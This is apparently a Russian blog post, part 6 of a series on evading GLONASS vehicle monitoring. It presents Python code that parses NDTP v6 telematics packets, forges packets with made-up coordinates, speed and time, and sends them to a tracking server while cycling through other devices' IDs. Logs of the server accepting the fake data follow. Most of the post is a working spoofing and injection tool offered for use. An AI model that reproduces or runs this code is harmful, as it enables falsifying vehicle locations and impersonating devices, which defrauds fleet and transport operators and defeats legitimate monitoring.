Обходим ГЛОНАСС контроль, часть 6

Обходим ГЛОНАСС контроль, ч.6

Парсим, внедряем данные на примере протокола ndtp v6.

В основе как-то так. Есть не принципиальные места над которыми надо подумать...
И, да, в структуру данных специально внесены изменения, работать будет, но не в реалтайме:)

# -*- coding: utf-8 -*-
"""
    Fucking ndtp-v6
    ===============

    author Dmitriy Def

"""

import binascii
import socket
import time
from datetime import datetime
from textwrap import wrap


def calc_byte(char, crc):
    table = (
        0x0000, 0xC0C1, 0xC181, 0x0140, 0xC301, 0x03C0, 0x0280, 0xC241,
        0xC601, 0x06C0, 0x0780, 0xC741, 0x0500, 0xC5C1, 0xC481, 0x0440,
        0xCC01, 0x0CC0, 0x0D80, 0xCD41, 0x0F00, 0xCFC1, 0xCE81, 0x0E40,
        0x0A00, 0xCAC1, 0xCB81, 0x0B40, 0xC901, 0x09C0, 0x0880, 0xC841,
        0xD801, 0x18C0, 0x1980, 0xD941, 0x1B00, 0xDBC1, 0xDA81, 0x1A40,
        0x1E00, 0xDEC1, 0xDF81, 0x1F40, 0xDD01, 0x1DC0, 0x1C80, 0xDC41,
        0x1400, 0xD4C1, 0xD581, 0x1540, 0xD701, 0x17C0, 0x1680, 0xD641,
        0xD201, 0x12C0, 0x1380, 0xD341, 0x1100, 0xD1C1, 0xD081, 0x1040,
        0xF001, 0x30C0, 0x3180, 0xF141, 0x3300, 0xF3C1, 0xF281, 0x3240,
        0x3600, 0xF6C1, 0xF781, 0x3740, 0xF501, 0x35C0, 0x3480, 0xF441,
        0x3C00, 0xFCC1, 0xFD81, 0x3D40, 0xFF01, 0x3FC0, 0x3E80, 0xFE41,
        0xFA01, 0x3AC0, 0x3B80, 0xFB41, 0x3900, 0xF9C1, 0xF881, 0x3840,
        0x2800, 0xE8C1, 0xE981, 0x2940, 0xEB01, 0x2BC0, 0x2A80, 0xEA41,
        0xEE01, 0x2EC0, 0x2F80, 0xEF41, 0x2D00, 0xEDC1, 0xEC81, 0x2C40,
        0xE401, 0x24C0, 0x2580, 0xE541, 0x2700, 0xE7C1, 0xE681, 0x2640,
        0x2200, 0xE2C1, 0xE381, 0x2340, 0xE101, 0x21C0, 0x2080, 0xE041,
        0xA001, 0x60C0, 0x6180, 0xA141, 0x6300, 0xA3C1, 0xA281, 0x6240,
        0x6600, 0xA6C1, 0xA781, 0x6740, 0xA501, 0x65C0, 0x6480, 0xA441,
        0x6C00, 0xACC1, 0xAD81, 0x6D40, 0xAF01, 0x6FC0, 0x6E80, 0xAE41,
        0xAA01, 0x6AC0, 0x6B80, 0xAB41, 0x6900, 0xA9C1, 0xA881, 0x6840,
        0x7800, 0xB8C1, 0xB981, 0x7940, 0xBB01, 0x7BC0, 0x7A80, 0xBA41,
        0xBE01, 0x7EC0, 0x7F80, 0xBF41, 0x7D00, 0xBDC1, 0xBC81, 0x7C40,
        0xB401, 0x74C0, 0x7580, 0xB541, 0x7700, 0xB7C1, 0xB681, 0x7640,
        0x7200, 0xB2C1, 0xB381, 0x7340, 0xB101, 0x71C0, 0x7080, 0xB041,
        0x5000, 0x90C1, 0x9181, 0x5140, 0x9301, 0x53C0, 0x5280, 0x9241,
        0x9601, 0x56C0, 0x5780, 0x9741, 0x5500, 0x95C1, 0x9481, 0x5440,
        0x9C01, 0x5CC0, 0x5D80, 0x9D41, 0x5F00, 0x9FC1, 0x9E81, 0x5E40,
        0x5A00, 0x9AC1, 0x9B81, 0x5B40, 0x9901, 0x59C0, 0x5880, 0x9841,
        0x8801, 0x48C0, 0x4980, 0x8941, 0x4B00, 0x8BC1, 0x8A81, 0x4A40,
        0x4E00, 0x8EC1, 0x8F81, 0x4F40, 0x8D01, 0x4DC0, 0x4C80, 0x8C41,
        0x4400, 0x84C1, 0x8581, 0x4540, 0x8701, 0x47C0, 0x4680, 0x8641,
        0x8201, 0x42C0, 0x4380, 0x8341, 0x4100, 0x81C1, 0x8081, 0x4040
    )

    if isinstance(char, str):
        byt = ord(char)
    else:
        byt = char

    crc = (crc >> 8) ^ table[(crc ^ byt) & 0xFF]

    return crc & 0xFFFF


def crc16(stng):
    """Контрольная сумма CRC-16 (Modbus)."""
    crc = 0xFFFF
    stng = binascii.unhexlify(stng)
    for char in stng:
        crc = calc_byte(char, crc)
    stng = str(hex(crc))[2:]
    if len(stng) % 2 != 0:
        stng = '0' + stng

    return stng


def dec_to_reverse_hex(indec):
    """Принимаем десятичное значение, возвращаем обратный hex"""
    strng = str(hex(int(indec)))[2:]

    if len(strng) % 2 != 0:  # 71e -> 071e
        strng = '0' + strng

    strng = wrap(strng, 2)
    strng.reverse()

    return ''.join(strng)


def reverse_hex(instr):
    """Принимаем обратный hex, возвращаем десятичное значение"""
    instr = wrap(instr, 2)
    instr.reverse()

    return int(''.join(instr), 16)


def parse_ndtp(indata):
    """
    Парсим строку данных, возвращаем словарь.

    Пример:
        7e7e5200020097d302000000000000
        01006400010001000000
        000071ea28557c17c0175f337d26e000150015005501af0006001501
        0200000000000000000000000000000000000000a804010016010
        00008000200000000000801020000000000

        {
            'gsm_power': 22,
            'pack_id': 1,
            'gm_time': '2015-04-11 12:33:37',
            'average_speed': 21,
            'odo_track': 66728,
            'crc': '97d3',
            'gprs_state': 1,
            'position_x': 39.8464892,
            'position_y': 64.5739359,
            'satellites': 21,
            'altitude': 6,
            'speed': 21,
            'heading': 85,
            'extra_dop': '11100000'
        }
    """

    parse = {}

    parse['crc'] = crc16(indata[-reverse_hex(indata[4:6])*2:])
    parse['pack_id'] = reverse_hex(indata[42:50])
    parse['gm_time'] = datetime.fromtimestamp(
        reverse_hex(indata[54:62])).strftime('%Y-%m-%d %H:%M:%S')
    parse['position_x'] = float(reverse_hex(indata[62:70])) / 10000000
    parse['position_y'] = float(reverse_hex(indata[70:78])) / 10000000
    # extra_dop is bin (11100000)- достоверность навигационных данных, потом разберёмся
    parse['extra_dop'] = bin(int(indata[78:80], 16))[2:].zfill(8)
    parse['speed'] = reverse_hex(indata[82:84])
    parse['average_speed'] = reverse_hex(indata[86:88])
    parse['heading'] = reverse_hex(indata[90:92])
    parse['altitude'] = reverse_hex(indata[98:100])
    parse['satellites'] = reverse_hex(indata[102:104])
    parse['odo_track'] = reverse_hex(indata[146:154])
    parse['gsm_power'] = reverse_hex(indata[154:156])
    parse['gprs_state'] = reverse_hex(indata[156:158])

    return parse


def fake_ndtp():
    """
    Возвращаем строку данных со своими параметрами,
    в формате ndtp_v6

        Длина: 97 байт

        7e7e 5200 0200 97d3 02 00000000 0000
        0100 6400 0100 01000000
        0000 71ea2855 7c17c017 5f337d26 e0 00 15 00 15 00 55 01af 00 06 00 1501
        0200000000000000000000000000000000000000 a8040100 16 01
        000008000200000000000801020000000000

    """
    pack_id = 1
    gm_time = int(time.mktime(datetime.now().timetuple()))
    position_x = 40.430483 * 10000000
    position_y = 64.535433 * 10000000
    extra_dop = 224
    speed = 21
    average_speed = 21
    heading = 85
    altitude = 6
    satellites = 21
    odo_track = 66728
    gsm_power = 22
    gprs_state = 1

    data_crc = (
        '010064000100',
        dec_to_reverse_hex(pack_id).ljust(8, '0'),  # 70000000 -> 112
        '0000',
        dec_to_reverse_hex(gm_time).ljust(8, '0'),  # 77228852 -> unix time
        dec_to_reverse_hex(position_x).ljust(8, '0'),  # bcfab117 -> 397540028
        dec_to_reverse_hex(position_y).ljust(8, '0'),  # e7597926 -> 397540028
        dec_to_reverse_hex(extra_dop),  # e0 -> 224
        '00',
        dec_to_reverse_hex(speed),  # 09 -> 9
        '00',
        dec_to_reverse_hex(average_speed),  # 09 -> 9
        '00',
        dec_to_reverse_hex(heading),  # 63 -> 99
        '000000',
        dec_to_reverse_hex(altitude),  # 19 -> 25
        '00',
        dec_to_reverse_hex(satellites),  # 11 -> 17
        '010200000000000000000000000000000000000000',
        dec_to_reverse_hex(odo_track).ljust(6, '0'),  # a1f401 -> 128161
        '00',
        dec_to_reverse_hex(gsm_power),  # 15 -> 100
        dec_to_reverse_hex(gprs_state),  # 01 -> 1
        '000008000200000000000801020000000000',
    )

    data_full = (
        '7e7e52000200',
        str(crc16(''.join(data_crc))),  # bf7e
        '02000000000000',
        ''.join(data_crc)
    )

    return ''.join(data_full)


def fake_start_ndtp(devid):
    """
    Принимаем произвольный айдишник устройства,
    возвращаем строку данных в формате ndtp_v6 для первого запроса.
    """
    data_crc = (
        '00006400010000000000060002000200',
        dec_to_reverse_hex(devid),
        '000004000000000000'
    )
    data_full = (
        '7e7e1c000200',
        str(crc16(''.join(data_crc))),
        '02000000000000',
        ''.join(data_crc)
    )

    return ''.join(data_full)


def main():
    """Тестируем."""
    dev_id = 140900
    test_data = '7e7e5200020097d30200000000000001006400010001000000'\
                '000071ea28557c17c0175f337d26e000150015005501af0006'\
                '0015010200000000000000000000000000000000000000a804'\
                '01001601000008000200000000000801020000000000'

    print 'TestData: %s \n%s \n\nFakeStart for %s: %s\n'\
        'FakeData: %s\n%s\n\n' % (
            test_data,
            parse_ndtp(test_data),
            dev_id,
            fake_start_ndtp(dev_id),
            fake_ndtp(),
            parse_ndtp(fake_ndtp())
        )

    # рубимся на сервер сбора данных, меняем айдишники
    while dev_id < 140913:
        try:
            sock = socket.socket()
            sock.connect(('XXX.XXX.XX.XXX', 4900))
            sock.settimeout(2.0)
            sock.send(
                binascii.unhexlify(fake_start_ndtp(dev_id))
            )
            data = sock.recv(2048).encode('hex')
            if data:
                sock.send(binascii.unhexlify(fake_ndtp()))
                print 'OutStart: %s\nInСonfirm: %s\nOutFake: %s\n'\
                    'InСonfirm: %s\n\n' % (
                        fake_start_ndtp(dev_id),
                        data,
                        fake_ndtp(),
                        sock.recv(2048).encode('hex')
                    )
        except socket.timeout:
            print u'No data: %s' % dev_id

        sock.close()

        time.sleep(0.1)

        dev_id += 1

if __name__ == '__main__':
    main()

На выходе получим примерно такую штуку (InСonfirm - ответ сервера, типа, схавал):

TestData: 7e7e5200020097d30200000000000001006400010001000000000071ea28557c17c0175f337d26e000150015005501af00060015010200000000000000000000000000000000000000a80401001601000008000200000000000801020000000000 
{'gsm_power': 22, 'pack_id': 1, 'gm_time': '2015-04-11 12:33:37', 'average_speed': 21, 'odo_track': 66728, 'crc': '97d3', 'gprs_state': 1, 'position_x': 39.8464892, 'position_y': 64.5739359, 'satellites': 21, 'altitude': 6, 'speed': 21, 'heading': 85, 'extra_dop': '11100000'}

FakeStart for 140900: 7e7e1c000200e62c0200000000000000006400010000000000060002000200642602000004000000000000
FakeData: 7e7e52000200958502000000000000010065000100010000000000bdfdce56be3319185a537726e0001500150055000000060015010200000000000000000000000000000000000000a80401001601000008000200000000000801020000000000
{'gsm_power': 22, 'pack_id': 1, 'gm_time': '2016-02-25 16:12:29', 'average_speed': 21, 'odo_track': 66728, 'crc': '9585', 'gprs_state': 1, 'position_x': 40.430483, 'position_y': 64.535433, 'satellites': 21, 'altitude': 6, 'speed': 21, 'heading': 85, 'extra_dop': '11100000'}


OutStart: 7e7e1c000200e62c0200000000000000006400010000000000060002000200642602000004000000000000
InСonfirm: 7e7e0e00020001ab020000000001000000000000000000000000000000
OutFake: 7e7e52000200958502000000000000010065000100010000000000bdfdce56be3319185a537726e0001500150055000000060015010200000000000000000000000000000000000000a80401001601000008000200000000000801020000000000
InСonfirm: 7e7e0e0002000c6a020000000002000100000000000100000000000000


OutStart: 7e7e1c00020025d10200000000000000006400010000000000060002000200652602000004000000000000
InСonfirm: 7e7e0e00020001ab020000000001000000000000000000000000000000
OutFake: 7e7e52000200958502000000000000010065000100010000000000bdfdce56be3319185a537726e0001500150055000000060015010200000000000000000000000000000000000000a80401001601000008000200000000000801020000000000
InСonfirm: 7e7e0e0002000c6a020000000002000100000000000100000000000000


OutStart: 7e7e1c00020021d50200000000000000006400010000000000060002000200662602000004000000000000
InСonfirm: 7e7e0e00020001ab020000000001000000000000000000000000000000
OutFake: 7e7e52000200958502000000000000010065000100010000000000bdfdce56be3319185a537726e0001500150055000000060015010200000000000000000000000000000000000000a80401001601000008000200000000000801020000000000
InСonfirm: 7e7e0e0002000c6a020000000002000100000000000100000000000000

З.Ы. В седьмой части обхода, покажу, как летают трамваи:)

ГЛОНАСС

0 комментариев

Только авторизованные пользователи могут оставлять комментарии.

Пожалуйста, Авторизуйтесь или Зарегистрируйтесь